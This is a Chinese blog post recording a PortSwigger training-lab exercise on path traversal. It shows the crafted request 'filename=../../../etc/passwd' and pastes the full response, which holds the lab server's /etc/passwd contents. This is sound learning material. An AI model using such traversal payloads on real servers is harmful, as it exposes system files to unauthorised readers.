首页 > 其他分享 >Server-side vulnerabilities :path traversal

Server-side vulnerabilities :path traversal

时间:2024-05-08 16:56:22浏览次数:15  
标签:bin sbin vulnerabilities nologin systemd traversal usr var path

来自bp的学院,提供了靶机,是个学习好地方

服务器漏洞之路径遍历

 就是说网站提供的图片,如果直接通过src="/loadImage?filename=xxx.jpg“读取的话,可以通过构造 ”filename=../../../etc/passwd"参数,拿到服务器的passwd文件,这样能读取服务器的用户

放一个靶机地址:https://portswigger.net/web-security/learning-paths/server-side-vulnerabilities-apprentice/path-traversal-apprentice/file-path-traversal/lab-simple#

按照教程,找到图片加载的地址,构造请求地址:https://0af600c50370bec8851f5f9900f8009d.web-security-academy.net/image?filename=../../../etc/passwd

奇怪的是这个地址通过浏览器打开加载不到任何东西

 推测是响应头中声明了是个image,所以浏览器按照image解析了。在bp中就可以看到响应

 把整个响应贴到这

HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
View Code

标签:bin,sbin,vulnerabilities,nologin,systemd,traversal,usr,var,path
From: https://www.cnblogs.com/superxuezhazha/p/18180226

相关文章

  • os.path:Python操作和处理文件路径
    前言os.path是平台独立的文件名管理库,使用该库能够很方便来处理多个平台上的文件。即使程序不打算在平台之间移值,也应当使用os.path库来完成可靠的文件名解析。本篇博文将详细介绍os.path库的用法。解析路径的基本用法os.path中的第一组函数可以用来将表示文件名的字符串解析......
  • 测试自动化(xpath定位)
    测试自动化(xpath定位)【概要】XPath是一种用于在XML和HTML文档中定位元素的语言,基本语句为【//元素类型[@元素属性=‘’]】其中,元素类型前须加//,可选【span、input、button、div、h1、h2】等html元素,元素属性前须加@,可选【class、placeholder、id】等元素属性在选择定位元素时,常......
  • [Git Error]error: Invalid path报错解决
    问题背景可能是在clone某仓库后出现形如下面报错$gitclonehttps://github.com/*.gitCloninginto'*'...remote:Enumeratingobjects:*,done.remote:Countingobjects:100%(*/*),done.remote:Compressingobjects:100%(*/*),done.remote:Total*(delta*),......
  • 路径规划:层次化路径规划系统——hierarchical pathfinding system —— Hierarchical
    项目地址:https://www.gdcvault.com/play/1025151/Hierarchical-Dynamic-Pathfinding-for-LargePPT地址:https://ubm-twvideo01.s3.amazonaws.com/o1/vault/gdc2018/presentations/Alain_Benoit_HierarchicalDynamicPathfinding.pdf视频地址:https://www.youtube.com/watch?......
  • A* 算法、PathFinding问题中的 allow diagonal 和 don't cross corners,以及 .map文件
    地址:https://webdocs.cs.ualberta.ca/~nathanst/papers/benchmarks.pdf关于地图文件:.map文件的格式参考:https://movingai.com/benchmarks/formats.html......
  • 寻路数据集 —— PathFinding数据集 —— Moving AI Lab. 实验室
    好几个做pathfinding的论文都是引用这个网站的数据集,不过这个网站的数据集的地图都是.map格式,这个类型的格式该如何打开还不知道。MovingAILab.实验室的工作地址:https://movingai.com/benchmarks/index.html相关地址:https://www.movingai.com/......
  • HPA* (Near Optimal hierarchical Path-finding) —— 外网的讲解blog
    原地址:https://alexene.dev/2019/06/02/Hierarchical-pathfinding.html讲解视频:https://www.youtube.com/watch?v=qSbSb8vMbLI目标问题:为不同的分割区建立door,也就是两个分割器有两个相邻的小格,这两个小格子是可以联通的,下图中指的是在黄色线两侧的相邻的两个蓝色小格......
  • JEMSPath 入门
    JMESPath是一种查询语言,专门用于处理JSON对象。JMESPath规则和基本语法包括:字段访问:使用点.来访问JSON对象中的字段。例如,obj1.obj2.key。索引列表:通过索引来访问列表中的元素。索引是基于零的,例如arr1[0].arr2[0].key。管道表达式(|):用于将一个表达式......
  • HPA* (Near Optimal hierarchical Path-finding)算法的效果图
    本文中的图全部来自:https://mohitsharma0690.blogspot.com/2016/01/hierarchical-pathfinding.html图的说明:Hereisanexampleofhowclustersarecreatedinanopenspaceenvironment.Thewhitesquaresrepresentwalkablegrids.Non-walkablegridspacesaremark......
  • [转载] RPATH/LD_LIBRARY_PATH/RUNPATH
    原文地址:https://zhuanlan.zhihu.com/p/534778561rpath和runpath都是用来指定搜索动态链接库的目录的,如果不清楚动态链接库是什么,可见静态库vs动态库。动态链接库(sharedlibraries)作为库并不像静态库一样和可执行文件绑定,而是在运行时加载。但,可执行文件在运行时怎么知道库的......